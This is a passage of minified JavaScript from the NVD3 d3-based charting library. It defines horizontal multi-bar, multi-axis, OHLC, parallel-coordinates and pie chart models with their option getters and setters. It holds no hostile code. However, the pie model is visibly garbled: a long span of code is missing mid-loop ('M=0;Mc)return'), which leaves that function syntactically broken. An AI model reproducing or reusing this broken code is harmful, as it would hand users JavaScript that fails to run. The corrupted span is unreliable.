x},set:function(a){x=a}},disabled:{get:function(){return c},set:function(a){c=a}},id:{get:function(){return m},set:function(a){m=a}},valueFormat:{get:function(){return B},set:function(a){B=a}},valuePadding:{get:function(){return z},set:function(a){z=a}},groupSpacing:{get:function(){return A},set:function(a){A=a}},margin:{get:function(){return j},set:function(a){j.top=void 0!==a.top?a.top:j.top,j.right=void 0!==a.right?a.right:j.right,j.bottom=void 0!==a.bottom?a.bottom:j.bottom,j.left=void 0!==a.left?a.left:j.left}},duration:{get:function(){return C},set:function(a){C=a,E.reset(C)}},color:{get:function(){return u},set:function(b){u=a.utils.getColor(b)}},barColor:{get:function(){return v},set:function(b){v=b?a.utils.getColor(b):null}}}),a.utils.initOptions(b),b},a.models.multiBarHorizontalChart=function(){"use strict";function b(j){return C.reset(),C.models(e),r&&C.models(f),s&&C.models(g),j.each(function(j){var w=d3.select(this);a.utils.initSVG(w);var C=a.utils.availableWidth(l,w,k),D=a.utils.availableHeight(m,w,k);if(b.update=function(){w.transition().duration(z).call(b)},b.container=this,t=e.stacked(),u.setter(B(j),b.update).getter(A(j)).update(),u.disabled=j.map(function(a){return!!a.disabled}),!v){var E;v={};for(E in u)v[E]=u[E]instanceof Array?u[E].slice(0):u[E]}if(!(j&&j.length&&j.filter(function(a){return a.values.length}).length))return a.utils.noData(b,w),b;w.selectAll(".nv-noData").remove(),c=e.xScale(),d=e.yScale();var F=w.selectAll("g.nv-wrap.nv-multiBarHorizontalChart").data([j]),G=F.enter().append("g").attr("class","nvd3 nv-wrap nv-multiBarHorizontalChart").append("g"),H=F.select("g");if(G.append("g").attr("class","nv-x nv-axis"),G.append("g").attr("class","nv-y nv-axis").append("g").attr("class","nv-zeroLine").append("line"),G.append("g").attr("class","nv-barsWrap"),G.append("g").attr("class","nv-legendWrap"),G.append("g").attr("class","nv-controlsWrap"),q&&(h.width(C-y()),H.select(".nv-legendWrap").datum(j).call(h),k.top!=h.height()&&(k.top=h.height(),D=a.utils.availableHeight(m,w,k)),H.select(".nv-legendWrap").attr("transform","translate("+y()+","+-k.top+")")),o){var I=[{key:p.grouped||"Grouped",disabled:e.stacked()},{key:p.stacked||"Stacked",disabled:!e.stacked()}];i.width(y()).color(["#444","#444","#444"]),H.select(".nv-controlsWrap").datum(I).attr("transform","translate(0,"+-k.top+")").call(i)}F.attr("transform","translate("+k.left+","+k.top+")"),e.disabled(j.map(function(a){return a.disabled})).width(C).height(D).color(j.map(function(a,b){return a.color||n(a,b)}).filter(function(a,b){return!j[b].disabled}));var J=H.select(".nv-barsWrap").datum(j.filter(function(a){return!a.disabled}));if(J.transition().call(e),r){f.scale(c)._ticks(a.utils.calcTicksY(D/24,j)).tickSize(-C,0),H.select(".nv-x.nv-axis").call(f);var K=H.select(".nv-x.nv-axis").selectAll("g");K.selectAll("line, text")}s&&(g.scale(d)._ticks(a.utils.calcTicksX(C/100,j)).tickSize(-D,0),H.select(".nv-y.nv-axis").attr("transform","translate(0,"+D+")"),H.select(".nv-y.nv-axis").call(g)),H.select(".nv-zeroLine line").attr("x1",d(0)).attr("x2",d(0)).attr("y1",0).attr("y2",-D),h.dispatch.on("stateChange",function(a){for(var c in a)u[c]=a[c];x.stateChange(u),b.update()}),i.dispatch.on("legendClick",function(a){if(a.disabled){switch(I=I.map(function(a){return a.disabled=!0,a}),a.disabled=!1,a.key){case"Grouped":e.stacked(!1);break;case"Stacked":e.stacked(!0)}u.stacked=e.stacked(),x.stateChange(u),t=e.stacked(),b.update()}}),x.on("changeState",function(a){"undefined"!=typeof a.disabled&&(j.forEach(function(b,c){b.disabled=a.disabled[c]}),u.disabled=a.disabled),"undefined"!=typeof a.stacked&&(e.stacked(a.stacked),u.stacked=a.stacked,t=a.stacked),b.update()})}),C.renderEnd("multibar horizontal chart immediate"),b}var c,d,e=a.models.multiBarHorizontal(),f=a.models.axis(),g=a.models.axis(),h=a.models.legend().height(30),i=a.models.legend().height(30),j=a.models.tooltip(),k={top:30,right:20,bottom:50,left:60},l=null,m=null,n=a.utils.defaultColor(),o=!0,p={},q=!0,r=!0,s=!0,t=!1,u=a.utils.state(),v=null,w=null,x=d3.dispatch("stateChange","changeState","renderEnd"),y=function(){return o?180:0},z=250;u.stacked=!1,e.stacked(t),f.orient("left").tickPadding(5).showMaxMin(!1).tickFormat(function(a){return a}),g.orient("bottom").tickFormat(d3.format(",.1f")),j.duration(0).valueFormatter(function(a,b){return g.tickFormat()(a,b)}).headerFormatter(function(a,b){return f.tickFormat()(a,b)}),i.updateState(!1);var A=function(a){return function(){return{active:a.map(function(a){return!a.disabled}),stacked:t}}},B=function(a){return function(b){void 0!==b.stacked&&(t=b.stacked),void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}},C=a.utils.renderWatch(x,z);return e.dispatch.on("elementMouseover.tooltip",function(a){a.value=b.x()(a.data),a.series={key:a.data.key,value:b.y()(a.data),color:a.color},j.data(a).hidden(!1)}),e.dispatch.on("elementMouseout.tooltip",function(){j.hidden(!0)}),e.dispatch.on("elementMousemove.tooltip",function(){j.position({top:d3.event.pageY,left:d3.event.pageX})()}),b.dispatch=x,b.multibar=e,b.legend=h,b.controls=i,b.xAxis=f,b.yAxis=g,b.state=u,b.tooltip=j,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return l},set:function(a){l=a}},height:{get:function(){return m},set:function(a){m=a}},showLegend:{get:function(){return q},set:function(a){q=a}},showControls:{get:function(){return o},set:function(a){o=a}},controlLabels:{get:function(){return p},set:function(a){p=a}},showXAxis:{get:function(){return r},set:function(a){r=a}},showYAxis:{get:function(){return s},set:function(a){s=a}},defaultState:{get:function(){return v},set:function(a){v=a}},noData:{get:function(){return w},set:function(a){w=a}},tooltips:{get:function(){return j.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),j.enabled(!!b)}},tooltipContent:{get:function(){return j.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),j.contentGenerator(b)}},margin:{get:function(){return k},set:function(a){k.top=void 0!==a.top?a.top:k.top,k.right=void 0!==a.right?a.right:k.right,k.bottom=void 0!==a.bottom?a.bottom:k.bottom,k.left=void 0!==a.left?a.left:k.left}},duration:{get:function(){return z},set:function(a){z=a,C.reset(z),e.duration(z),f.duration(z),g.duration(z)}},color:{get:function(){return n},set:function(b){n=a.utils.getColor(b),h.color(n)}},barColor:{get:function(){return e.barColor},set:function(a){e.barColor(a),h.color(function(a,b){return d3.rgb("#ccc").darker(1.5*b).toString()})}}}),a.utils.inheritOptions(b,e),a.utils.initOptions(b),b},a.models.multiChart=function(){"use strict";function b(j){return j.each(function(j){function k(a){var b=2===j[a.seriesIndex].yAxis?z:y;a.value=a.point.x,a.series={value:a.point.y,color:a.point.color},B.duration(100).valueFormatter(function(a,c){return b.tickFormat()(a,c)}).data(a).position(a.pos).hidden(!1)}function l(a){var b=2===j[a.seriesIndex].yAxis?z:y;a.point.x=v.x()(a.point),a.point.y=v.y()(a.point),B.duration(100).valueFormatter(function(a,c){return b.tickFormat()(a,c)}).data(a).position(a.pos).hidden(!1)}function n(a){var b=2===j[a.data.series].yAxis?z:y;a.value=t.x()(a.data),a.series={value:t.y()(a.data),color:a.color},B.duration(0).valueFormatter(function(a,c){return b.tickFormat()(a,c)}).data(a).hidden(!1)}var C=d3.select(this);a.utils.initSVG(C),b.update=function(){C.transition().call(b)},b.container=this;var D=a.utils.availableWidth(g,C,e),E=a.utils.availableHeight(h,C,e),F=j.filter(function(a){return"line"==a.type&&1==a.yAxis}),G=j.filter(function(a){return"line"==a.type&&2==a.yAxis}),H=j.filter(function(a){return"bar"==a.type&&1==a.yAxis}),I=j.filter(function(a){return"bar"==a.type&&2==a.yAxis}),J=j.filter(function(a){return"area"==a.type&&1==a.yAxis}),K=j.filter(function(a){return"area"==a.type&&2==a.yAxis});if(!(j&&j.length&&j.filter(function(a){return a.values.length}).length))return a.utils.noData(b,C),b;C.selectAll(".nv-noData").remove();var L=j.filter(function(a){return!a.disabled&&1==a.yAxis}).map(function(a){return a.values.map(function(a){return{x:a.x,y:a.y}})}),M=j.filter(function(a){return!a.disabled&&2==a.yAxis}).map(function(a){return a.values.map(function(a){return{x:a.x,y:a.y}})});o.domain(d3.extent(d3.merge(L.concat(M)),function(a){return a.x})).range([0,D]);var N=C.selectAll("g.wrap.multiChart").data([j]),O=N.enter().append("g").attr("class","wrap nvd3 multiChart").append("g");O.append("g").attr("class","nv-x nv-axis"),O.append("g").attr("class","nv-y1 nv-axis"),O.append("g").attr("class","nv-y2 nv-axis"),O.append("g").attr("class","lines1Wrap"),O.append("g").attr("class","lines2Wrap"),O.append("g").attr("class","bars1Wrap"),O.append("g").attr("class","bars2Wrap"),O.append("g").attr("class","stack1Wrap"),O.append("g").attr("class","stack2Wrap"),O.append("g").attr("class","legendWrap");var P=N.select("g"),Q=j.map(function(a,b){return j[b].color||f(a,b)});if(i){var R=A.align()?D/2:D,S=A.align()?R:0;A.width(R),A.color(Q),P.select(".legendWrap").datum(j.map(function(a){return a.originalKey=void 0===a.originalKey?a.key:a.originalKey,a.key=a.originalKey+(1==a.yAxis?"":" (right axis)"),a})).call(A),e.top!=A.height()&&(e.top=A.height(),E=a.utils.availableHeight(h,C,e)),P.select(".legendWrap").attr("transform","translate("+S+","+-e.top+")")}r.width(D).height(E).interpolate(m).color(Q.filter(function(a,b){return!j[b].disabled&&1==j[b].yAxis&&"line"==j[b].type})),s.width(D).height(E).interpolate(m).color(Q.filter(function(a,b){return!j[b].disabled&&2==j[b].yAxis&&"line"==j[b].type})),t.width(D).height(E).color(Q.filter(function(a,b){return!j[b].disabled&&1==j[b].yAxis&&"bar"==j[b].type})),u.width(D).height(E).color(Q.filter(function(a,b){return!j[b].disabled&&2==j[b].yAxis&&"bar"==j[b].type})),v.width(D).height(E).color(Q.filter(function(a,b){return!j[b].disabled&&1==j[b].yAxis&&"area"==j[b].type})),w.width(D).height(E).color(Q.filter(function(a,b){return!j[b].disabled&&2==j[b].yAxis&&"area"==j[b].type})),P.attr("transform","translate("+e.left+","+e.top+")");var T=P.select(".lines1Wrap").datum(F.filter(function(a){return!a.disabled})),U=P.select(".bars1Wrap").datum(H.filter(function(a){return!a.disabled})),V=P.select(".stack1Wrap").datum(J.filter(function(a){return!a.disabled})),W=P.select(".lines2Wrap").datum(G.filter(function(a){return!a.disabled})),X=P.select(".bars2Wrap").datum(I.filter(function(a){return!a.disabled})),Y=P.select(".stack2Wrap").datum(K.filter(function(a){return!a.disabled})),Z=J.length?J.map(function(a){return a.values}).reduce(function(a,b){return a.map(function(a,c){return{x:a.x,y:a.y+b[c].y}})}).concat([{x:0,y:0}]):[],$=K.length?K.map(function(a){return a.values}).reduce(function(a,b){return a.map(function(a,c){return{x:a.x,y:a.y+b[c].y}})}).concat([{x:0,y:0}]):[];p.domain(c||d3.extent(d3.merge(L).concat(Z),function(a){return a.y})).range([0,E]),q.domain(d||d3.extent(d3.merge(M).concat($),function(a){return a.y})).range([0,E]),r.yDomain(p.domain()),t.yDomain(p.domain()),v.yDomain(p.domain()),s.yDomain(q.domain()),u.yDomain(q.domain()),w.yDomain(q.domain()),J.length&&d3.transition(V).call(v),K.length&&d3.transition(Y).call(w),H.length&&d3.transition(U).call(t),I.length&&d3.transition(X).call(u),F.length&&d3.transition(T).call(r),G.length&&d3.transition(W).call(s),x._ticks(a.utils.calcTicksX(D/100,j)).tickSize(-E,0),P.select(".nv-x.nv-axis").attr("transform","translate(0,"+E+")"),d3.transition(P.select(".nv-x.nv-axis")).call(x),y._ticks(a.utils.calcTicksY(E/36,j)).tickSize(-D,0),d3.transition(P.select(".nv-y1.nv-axis")).call(y),z._ticks(a.utils.calcTicksY(E/36,j)).tickSize(-D,0),d3.transition(P.select(".nv-y2.nv-axis")).call(z),P.select(".nv-y1.nv-axis").classed("nv-disabled",L.length?!1:!0).attr("transform","translate("+o.range()[0]+",0)"),P.select(".nv-y2.nv-axis").classed("nv-disabled",M.length?!1:!0).attr("transform","translate("+o.range()[1]+",0)"),A.dispatch.on("stateChange",function(){b.update()}),r.dispatch.on("elementMouseover.tooltip",k),s.dispatch.on("elementMouseover.tooltip",k),r.dispatch.on("elementMouseout.tooltip",function(){B.hidden(!0)}),s.dispatch.on("elementMouseout.tooltip",function(){B.hidden(!0)}),v.dispatch.on("elementMouseover.tooltip",l),w.dispatch.on("elementMouseover.tooltip",l),v.dispatch.on("elementMouseout.tooltip",function(){B.hidden(!0)}),w.dispatch.on("elementMouseout.tooltip",function(){B.hidden(!0)}),t.dispatch.on("elementMouseover.tooltip",n),u.dispatch.on("elementMouseover.tooltip",n),t.dispatch.on("elementMouseout.tooltip",function(){B.hidden(!0)}),u.dispatch.on("elementMouseout.tooltip",function(){B.hidden(!0)}),t.dispatch.on("elementMousemove.tooltip",function(){B.position({top:d3.event.pageY,left:d3.event.pageX})()}),u.dispatch.on("elementMousemove.tooltip",function(){B.position({top:d3.event.pageY,left:d3.event.pageX})()})}),b}var c,d,e={top:30,right:20,bottom:50,left:60},f=a.utils.defaultColor(),g=null,h=null,i=!0,j=null,k=function(a){return a.x},l=function(a){return a.y},m="monotone",n=!0,o=d3.scale.linear(),p=d3.scale.linear(),q=d3.scale.linear(),r=a.models.line().yScale(p),s=a.models.line().yScale(q),t=a.models.multiBar().stacked(!1).yScale(p),u=a.models.multiBar().stacked(!1).yScale(q),v=a.models.stackedArea().yScale(p),w=a.models.stackedArea().yScale(q),x=a.models.axis().scale(o).orient("bottom").tickPadding(5),y=a.models.axis().scale(p).orient("left"),z=a.models.axis().scale(q).orient("right"),A=a.models.legend().height(30),B=a.models.tooltip(),C=d3.dispatch();return b.dispatch=C,b.lines1=r,b.lines2=s,b.bars1=t,b.bars2=u,b.stack1=v,b.stack2=w,b.xAxis=x,b.yAxis1=y,b.yAxis2=z,b.tooltip=B,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return g},set:function(a){g=a}},height:{get:function(){return h},set:function(a){h=a}},showLegend:{get:function(){return i},set:function(a){i=a}},yDomain1:{get:function(){return c},set:function(a){c=a}},yDomain2:{get:function(){return d},set:function(a){d=a}},noData:{get:function(){return j},set:function(a){j=a}},interpolate:{get:function(){return m},set:function(a){m=a}},tooltips:{get:function(){return B.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),B.enabled(!!b)}},tooltipContent:{get:function(){return B.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),B.contentGenerator(b)}},margin:{get:function(){return e},set:function(a){e.top=void 0!==a.top?a.top:e.top,e.right=void 0!==a.right?a.right:e.right,e.bottom=void 0!==a.bottom?a.bottom:e.bottom,e.left=void 0!==a.left?a.left:e.left}},color:{get:function(){return f},set:function(b){f=a.utils.getColor(b)}},x:{get:function(){return k},set:function(a){k=a,r.x(a),s.x(a),t.x(a),u.x(a),v.x(a),w.x(a)}},y:{get:function(){return l},set:function(a){l=a,r.y(a),s.y(a),v.y(a),w.y(a),t.y(a),u.y(a)}},useVoronoi:{get:function(){return n},set:function(a){n=a,r.useVoronoi(a),s.useVoronoi(a),v.useVoronoi(a),w.useVoronoi(a)}}}),a.utils.initOptions(b),b},a.models.ohlcBar=function(){"use strict";function b(y){return y.each(function(b){k=d3.select(this);var y=a.utils.availableWidth(h,k,g),A=a.utils.availableHeight(i,k,g);a.utils.initSVG(k);var B=y/b[0].values.length*.9;l.domain(c||d3.extent(b[0].values.map(n).concat(t))),l.range(v?e||[.5*y/b[0].values.length,y*(b[0].values.length-.5)/b[0].values.length]:e||[5+B/2,y-B/2-5]),m.domain(d||[d3.min(b[0].values.map(s).concat(u)),d3.max(b[0].values.map(r).concat(u))]).range(f||[A,0]),l.domain()[0]===l.domain()[1]&&l.domain(l.domain()[0]?[l.domain()[0]-.01*l.domain()[0],l.domain()[1]+.01*l.domain()[1]]:[-1,1]),m.domain()[0]===m.domain()[1]&&m.domain(m.domain()[0]?[m.domain()[0]+.01*m.domain()[0],m.domain()[1]-.01*m.domain()[1]]:[-1,1]);var C=d3.select(this).selectAll("g.nv-wrap.nv-ohlcBar").data([b[0].values]),D=C.enter().append("g").attr("class","nvd3 nv-wrap nv-ohlcBar"),E=D.append("defs"),F=D.append("g"),G=C.select("g");F.append("g").attr("class","nv-ticks"),C.attr("transform","translate("+g.left+","+g.top+")"),k.on("click",function(a,b){z.chartClick({data:a,index:b,pos:d3.event,id:j})}),E.append("clipPath").attr("id","nv-chart-clip-path-"+j).append("rect"),C.select("#nv-chart-clip-path-"+j+" rect").attr("width",y).attr("height",A),G.attr("clip-path",w?"url(#nv-chart-clip-path-"+j+")":"");var H=C.select(".nv-ticks").selectAll(".nv-tick").data(function(a){return a});H.exit().remove(),H.enter().append("path").attr("class",function(a,b,c){return(p(a,b)>q(a,b)?"nv-tick negative":"nv-tick positive")+" nv-tick-"+c+"-"+b}).attr("d",function(a,b){return"m0,0l0,"+(m(p(a,b))-m(r(a,b)))+"l"+-B/2+",0l"+B/2+",0l0,"+(m(s(a,b))-m(p(a,b)))+"l0,"+(m(q(a,b))-m(s(a,b)))+"l"+B/2+",0l"+-B/2+",0z"}).attr("transform",function(a,b){return"translate("+l(n(a,b))+","+m(r(a,b))+")"}).attr("fill",function(){return x[0]}).attr("stroke",function(){return x[0]}).attr("x",0).attr("y",function(a,b){return m(Math.max(0,o(a,b)))}).attr("height",function(a,b){return Math.abs(m(o(a,b))-m(0))}),H.attr("class",function(a,b,c){return(p(a,b)>q(a,b)?"nv-tick negative":"nv-tick positive")+" nv-tick-"+c+"-"+b}),d3.transition(H).attr("transform",function(a,b){return"translate("+l(n(a,b))+","+m(r(a,b))+")"}).attr("d",function(a,c){var d=y/b[0].values.length*.9;return"m0,0l0,"+(m(p(a,c))-m(r(a,c)))+"l"+-d/2+",0l"+d/2+",0l0,"+(m(s(a,c))-m(p(a,c)))+"l0,"+(m(q(a,c))-m(s(a,c)))+"l"+d/2+",0l"+-d/2+",0z"})}),b}var c,d,e,f,g={top:0,right:0,bottom:0,left:0},h=null,i=null,j=Math.floor(1e4*Math.random()),k=null,l=d3.scale.linear(),m=d3.scale.linear(),n=function(a){return a.x},o=function(a){return a.y},p=function(a){return a.open},q=function(a){return a.close},r=function(a){return a.high},s=function(a){return a.low},t=[],u=[],v=!1,w=!0,x=a.utils.defaultColor(),y=!1,z=d3.dispatch("tooltipShow","tooltipHide","stateChange","changeState","renderEnd","chartClick","elementClick","elementDblClick","elementMouseover","elementMouseout","elementMousemove");return b.highlightPoint=function(a,c){b.clearHighlights(),k.select(".nv-ohlcBar .nv-tick-0-"+a).classed("hover",c)},b.clearHighlights=function(){k.select(".nv-ohlcBar .nv-tick.hover").classed("hover",!1)},b.dispatch=z,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return h},set:function(a){h=a}},height:{get:function(){return i},set:function(a){i=a}},xScale:{get:function(){return l},set:function(a){l=a}},yScale:{get:function(){return m},set:function(a){m=a}},xDomain:{get:function(){return c},set:function(a){c=a}},yDomain:{get:function(){return d},set:function(a){d=a}},xRange:{get:function(){return e},set:function(a){e=a}},yRange:{get:function(){return f},set:function(a){f=a}},forceX:{get:function(){return t},set:function(a){t=a}},forceY:{get:function(){return u},set:function(a){u=a}},padData:{get:function(){return v},set:function(a){v=a}},clipEdge:{get:function(){return w},set:function(a){w=a}},id:{get:function(){return j},set:function(a){j=a}},interactive:{get:function(){return y},set:function(a){y=a}},x:{get:function(){return n},set:function(a){n=a}},y:{get:function(){return o},set:function(a){o=a}},open:{get:function(){return p()},set:function(a){p=a}},close:{get:function(){return q()},set:function(a){q=a}},high:{get:function(){return r},set:function(a){r=a}},low:{get:function(){return s},set:function(a){s=a}},margin:{get:function(){return g},set:function(a){g.top=void 0!=a.top?a.top:g.top,g.right=void 0!=a.right?a.right:g.right,g.bottom=void 0!=a.bottom?a.bottom:g.bottom,g.left=void 0!=a.left?a.left:g.left }},color:{get:function(){return x},set:function(b){x=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.parallelCoordinates=function(){"use strict";function b(p){return p.each(function(b){function p(a){return F(h.map(function(b){if(isNaN(a[b])||isNaN(parseFloat(a[b]))){var c=g[b].domain(),d=g[b].range(),e=c[0]-(c[1]-c[0])/9;if(J.indexOf(b)<0){var h=d3.scale.linear().domain([e,c[1]]).range([x-12,d[1]]);g[b].brush.y(h),J.push(b)}return[f(b),g[b](e)]}return J.length>0?(D.style("display","inline"),E.style("display","inline")):(D.style("display","none"),E.style("display","none")),[f(b),g[b](a[b])]}))}function q(){var a=h.filter(function(a){return!g[a].brush.empty()}),b=a.map(function(a){return g[a].brush.extent()});k=[],a.forEach(function(a,c){k[c]={dimension:a,extent:b[c]}}),l=[],M.style("display",function(c){var d=a.every(function(a,d){return isNaN(c[a])&&b[d][0]==g[a].brush.y().domain()[0]?!0:b[d][0]<=c[a]&&c[a]<=b[d][1]});return d&&l.push(c),d?null:"none"}),o.brush({filters:k,active:l})}function r(a){m[a]=this.parentNode.__origin__=f(a),L.attr("visibility","hidden")}function s(a){m[a]=Math.min(w,Math.max(0,this.parentNode.__origin__+=d3.event.x)),M.attr("d",p),h.sort(function(a,b){return u(a)-u(b)}),f.domain(h),N.attr("transform",function(a){return"translate("+u(a)+")"})}function t(a){delete this.parentNode.__origin__,delete m[a],d3.select(this.parentNode).attr("transform","translate("+f(a)+")"),M.attr("d",p),L.attr("d",p).attr("visibility",null)}function u(a){var b=m[a];return null==b?f(a):b}var v=d3.select(this),w=a.utils.availableWidth(d,v,c),x=a.utils.availableHeight(e,v,c);a.utils.initSVG(v),l=b,f.rangePoints([0,w],1).domain(h);var y={};h.forEach(function(a){var c=d3.extent(b,function(b){return+b[a]});return y[a]=!1,void 0===c[0]&&(y[a]=!0,c[0]=0,c[1]=0),c[0]===c[1]&&(c[0]=c[0]-1,c[1]=c[1]+1),g[a]=d3.scale.linear().domain(c).range([.9*(x-12),0]),g[a].brush=d3.svg.brush().y(g[a]).on("brush",q),"name"!=a});var z=v.selectAll("g.nv-wrap.nv-parallelCoordinates").data([b]),A=z.enter().append("g").attr("class","nvd3 nv-wrap nv-parallelCoordinates"),B=A.append("g"),C=z.select("g");B.append("g").attr("class","nv-parallelCoordinates background"),B.append("g").attr("class","nv-parallelCoordinates foreground"),B.append("g").attr("class","nv-parallelCoordinates missingValuesline"),z.attr("transform","translate("+c.left+","+c.top+")");var D,E,F=d3.svg.line().interpolate("cardinal").tension(n),G=d3.svg.axis().orient("left"),H=d3.behavior.drag().on("dragstart",r).on("drag",s).on("dragend",t),I=f.range()[1]-f.range()[0],J=[],K=[0+I/2,x-12,w-I/2,x-12];D=z.select(".missingValuesline").selectAll("line").data([K]),D.enter().append("line"),D.exit().remove(),D.attr("x1",function(a){return a[0]}).attr("y1",function(a){return a[1]}).attr("x2",function(a){return a[2]}).attr("y2",function(a){return a[3]}),E=z.select(".missingValuesline").selectAll("text").data(["undefined values"]),E.append("text").data(["undefined values"]),E.enter().append("text"),E.exit().remove(),E.attr("y",x).attr("x",w-92-I/2).text(function(a){return a});var L=z.select(".background").selectAll("path").data(b);L.enter().append("path"),L.exit().remove(),L.attr("d",p);var M=z.select(".foreground").selectAll("path").data(b);M.enter().append("path"),M.exit().remove(),M.attr("d",p).attr("stroke",j),M.on("mouseover",function(a,b){d3.select(this).classed("hover",!0),o.elementMouseover({label:a.name,data:a.data,index:b,pos:[d3.mouse(this.parentNode)[0],d3.mouse(this.parentNode)[1]]})}),M.on("mouseout",function(a,b){d3.select(this).classed("hover",!1),o.elementMouseout({label:a.name,data:a.data,index:b})});var N=C.selectAll(".dimension").data(h),O=N.enter().append("g").attr("class","nv-parallelCoordinates dimension");O.append("g").attr("class","nv-parallelCoordinates nv-axis"),O.append("g").attr("class","nv-parallelCoordinates-brush"),O.append("text").attr("class","nv-parallelCoordinates nv-label"),N.attr("transform",function(a){return"translate("+f(a)+",0)"}),N.exit().remove(),N.select(".nv-label").style("cursor","move").attr("dy","-1em").attr("text-anchor","middle").text(String).on("mouseover",function(a){o.elementMouseover({dim:a,pos:[d3.mouse(this.parentNode.parentNode)[0],d3.mouse(this.parentNode.parentNode)[1]]})}).on("mouseout",function(a){o.elementMouseout({dim:a})}).call(H),N.select(".nv-axis").each(function(a,b){d3.select(this).call(G.scale(g[a]).tickFormat(d3.format(i[b])))}),N.select(".nv-parallelCoordinates-brush").each(function(a){d3.select(this).call(g[a].brush)}).selectAll("rect").attr("x",-8).attr("width",16)}),b}var c={top:30,right:0,bottom:10,left:0},d=null,e=null,f=d3.scale.ordinal(),g={},h=[],i=[],j=a.utils.defaultColor(),k=[],l=[],m=[],n=1,o=d3.dispatch("brush","elementMouseover","elementMouseout");return b.dispatch=o,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return d},set:function(a){d=a}},height:{get:function(){return e},set:function(a){e=a}},dimensionNames:{get:function(){return h},set:function(a){h=a}},dimensionFormats:{get:function(){return i},set:function(a){i=a}},lineTension:{get:function(){return n},set:function(a){n=a}},dimensions:{get:function(){return h},set:function(b){a.deprecated("dimensions","use dimensionNames instead"),h=b}},margin:{get:function(){return c},set:function(a){c.top=void 0!==a.top?a.top:c.top,c.right=void 0!==a.right?a.right:c.right,c.bottom=void 0!==a.bottom?a.bottom:c.bottom,c.left=void 0!==a.left?a.left:c.left}},color:{get:function(){return j},set:function(b){j=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.pie=function(){"use strict";function b(E){return D.reset(),E.each(function(b){function E(a,b){a.endAngle=isNaN(a.endAngle)?0:a.endAngle,a.startAngle=isNaN(a.startAngle)?0:a.startAngle,p||(a.innerRadius=0);var c=d3.interpolate(this._current,a);return this._current=c(0),function(a){return B[b](c(a))}}var F=d-c.left-c.right,G=e-c.top-c.bottom,H=Math.min(F,G)/2,I=[],J=[];if(i=d3.select(this),0===z.length)for(var K=H-H/5,L=y*H,M=0;Mc)return"";if("function"==typeof n)d=n(a,b,{key:f(a.data),value:g(a.data),percent:k(c)});else switch(n){case"key":d=f(a.data);break;case"value":d=k(g(a.data));break;case"percent":d=d3.format("%")(c)}return d})}}),D.renderEnd("pie immediate"),b}var c={top:0,right:0,bottom:0,left:0},d=500,e=500,f=function(a){return a.x},g=function(a){return a.y},h=Math.floor(1e4*Math.random()),i=null,j=a.utils.defaultColor(),k=d3.format(",.2f"),l=!0,m=!1,n="key",o=.02,p=!1,q=!1,r=!0,s=0,t=!1,u=!1,v=!1,w=!1,x=0,y=.5,z=[],A=d3.dispatch("chartClick","elementClick","elementDblClick","elementMouseover","elementMouseout","elementMousemove","renderEnd"),B=[],C=[],D=a.utils.renderWatch(A);return b.dispatch=A,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{arcsRadius:{get:function(){return z},set:function(a){z=a}},width:{get:function(){return d},set:function(a){d=a}},height:{get:function(){return e},set:function(a){e=a}},showLabels:{get:function(){return l},set:function(a){l=a}},title:{get:function(){return q},set:function(a){q=a}},titleOffset:{get:function(){return s},set:function(a){s=a}},labelThreshold:{get:function(){return o},set:function(a){o=a}},valueFormat:{get:function(){return k},set:function(a){k=a}},x:{get:function(){return f},set:function(a){f=a}},id:{get:function(){return h},set:function(a){h=a}},endAngle:{get:function(){return w},set:function(a){w=a}},startAngle:{get:function(){return u},set:function(a){u=a}},padAngle:{get:function(){return v},set:function(a){v=a}},cornerRadius:{get:function(){return x},set:function(a){x=a}},donutRatio:{get:function(){return y},set:function(a){y=a}},labelsOutside:{get:function(){return m},set:function(a){m=a}},labelSunbeamLayout:{get:function(){return t},set:function(a){t=a}},donut:{get:function(){return p},set:function(a){p=a}},growOnHover:{get:function(){return r},set:function(a){r=a}},pieLabelsOutside:{get:function(){return m},set:function(b){m=b,a.deprecated("pieLabelsOutside","use labelsOutside instead")}},donutLabelsOutside:{get:function(){return m},set:function(b){m=b,a.deprecated("donutLabelsOutside","use labelsOutside instead")}},labelFormat:{get:function(){return k},set:function(b){k=b,a.deprecated("labelFormat","use valueFormat instead")}},margin:{get:function(){return c},set:function(a){c.top="undefined"!=typeof a.top?a.top:c.top,c.right="undefined"!=typeof a.right?a.right:c.right,c.bottom="undefined"!=typeof a.bottom?a.bottom:c.bottom,c.left="undefined"!=typeof a.left?a.left:c.left}},y:{get:function(){return g},set:function(a){g=d3.functor(a)}},color:{get:function(){return j},set:function(b){j=a.utils.getColor(b)}},labelType:{get:function(){return n},set:function(a){n=a||"key"}}}),a.utils.initOptions(b),b},a.models.pieChart=function(){"use strict";function b(e){return q.reset(),q.models(c),e.each(function(e){var k=d3.select(this);a.utils.initSVG(k);var n=a.utils.availableWidth(g,k,f),o=a.utils.availableHeight(h,k,f);if(b.update=function(){k.transition().call(b)},b.container=this,l.setter(s(e),b.update).getter(r(e)).update(),l.disabled=e.map(function(a){return!!a.disabled}),!m){var q;m={};for(q in l)m[q]=l[q]instanceof Array?l[q].slice(0):l[q]}if(!e||!e.length)return a.utils.noData(b,k),b;k.selectAll(".nv-noData").remove();var t=k.selectAll("g.nv-wrap.nv-pieChart").data([e]),u=t.enter().append("g").attr("class","nvd3 nv-wrap nv-pieChart").append("g"),v=t.select("g");if(u.append("g").attr("class","nv-pieWrap"),u.append("g").attr("class","nv-legendWrap"),i)if("top"===j)d.width(n).key(c.x()),t.select(".nv-legendWrap").datum(e).call(d),f.top!=d.height()&&(f.top=d.height(),o=a.utils.availableHeight(h,k,f)),t.select(".nv-legendWrap").attr("transform","translate(0,"+-f.top+")");else if("right"===j){var 